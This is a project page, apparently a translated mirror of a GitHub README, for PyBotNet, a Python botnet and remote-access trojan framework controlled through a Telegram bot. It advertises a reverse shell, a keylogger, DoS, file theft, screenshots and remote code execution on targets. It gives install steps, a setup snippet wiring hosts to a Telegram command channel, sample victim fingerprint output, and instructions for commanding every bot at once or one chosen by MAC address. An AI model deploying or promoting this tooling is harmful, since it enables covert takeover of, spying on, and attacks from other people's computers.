onionj/pybotnet

GitHub: onionj/pybotnet

一个利用 Telegram 作为控制面板的 Python 远程控制框架,提供反向 Shell、文件传输、屏幕截图等内置脚本并支持自定义扩展。

Stars: 262 | Forks: 68

trojan horse

PyBotNet

A Python framework for building remote control with Telegram or other control panels

**源代码**: https://github.com/onionj/pybotnet **文档**: https://onionj.github.io/pybotnet/ **Deep Wiki (AI 生成的文档)**: https://deepwiki.com/onionj/pybotnet **待办事项列表**: https://github.com/users/onionj/projects/1 ### 功能: * 内置 Telegram 控制面板和代理系统 * 内置脚本,如: * reverse shell * 上传或下载文件 * 在目标系统上运行 Python 代码 * 获取屏幕截图 * 键盘记录器 * dos * 任务调度器 * ... * 跨平台 * 能够轻松添加自定义脚本 * 导入外部脚本 * 能够添加自定义控制面板 * 为你的应用添加远程控制 * [...](https://onionj.github.io/pybotnet/) ### 安装 PyBotNet ``` pip3 install pybotnet -U ``` * `-U`: 确保将框架升级到最新版本。 #### 最简单的 PyBotNet 文件可能如下所示: ``` # 在 main.py 中 from pybotnet import BotNet, TelegramEngine telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1) botnet = BotNet(telegram_engine) # (2) botnet.run() ``` 1. 创建 engine:engine 负责在管理员和 botnet 之间传递消息 2. 创建 BotNet 实例 #### 注意: * `TELEGRAM_TOKEN`: 你可以使用 telegram 的 `@botfather` 创建新的 telegram API Bot 并获取你的 `TELEGRAM_TOKEN` * `ADMIN_CHAT_ID`: 从 @userinfobot telegram bot 获取 * PyBotNet 包含默认脚本,如:`/shell`、`/put_file`、`/get_file`、`/screenshot`、`/who` 等, 你可以向你的 telegram bot 发送 `/help` 来查看更多详细信息。。 #### 运行代码: ``` python3 main.py ``` #### telegram engine 打开 telegram 并向你的 bot 发送 `/who` 命令;如果你正确完成了上述步骤,你会收到如下消息: ``` scripts_name: echo who shell screenshot put_file get_file runcode openurl dos schedule mac_addres: 228362405364 os: Linux global_ip: 5.10.30.35 country: Iran, Islamic Republic of bot_name: no_name local_ip: {'192.168.23.1'} host_name: {'system_name'} system_user: root up_time: 0:00:01 current_route: / pid: 148352 cpu_count: 8 pybotnet_version: 2.0.8b0 from cache: True ``` 你可以发送 `/help` 来查看帮助页面,或者发送 `/help ` 来接收关于特定脚本的更多帮助。 例如,发送 `/help screenshot`,你将收到: ``` NAME: screenshot DESCRIPTION: get screen shot * `[mac-address] /screenshot` or * `/screenshot` example command: * `94945035671481 /screenshot` * `/screenshot` return: img or img-download-link script_version: 0.0.1 default_script: True ___________________________ scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule'] mac_addres: 228362405364 os: Linux global_ip: 5.10.30.35 country: Iran, Islamic Republic of bot_name: no_name use_proxy: False ``` 在消息的顶部,你可以看到脚本名称、描述、语法和示例。 要运行 screenshot 脚本,你有两个选择: * 在所有监听 Telegram bot 的客户端上运行脚本(目前我们只有一个!) * 在某一个特定系统上运行脚本 要在所有客户端上运行脚本,请发送 `/screenshot`。 但如果你需要在特定系统上获取屏幕截图,你需要发送 `[mac_addres] /screenshot`,在我们的例子中是:`228362405364 /screenshot` 在某些情况下,比如 `/shell`,你只能针对单个系统运行它。 要了解如何`添加自定义脚本`、`在后台运行`、`无需编写代码即可运行 pybotnet`等,请参阅以下文档。 ### *了解更多信息,请参阅[文档](https://onionj.github.io/pybotnet/)* ## 贡献者 ✨ 感谢这些了不起的人:

TorhamDev


SepehrRasouli

标签:IP 地址批量处理, Python, 僵尸网络, 无后门, 网络信息收集, 远控木马, 远程控制, 逆向工具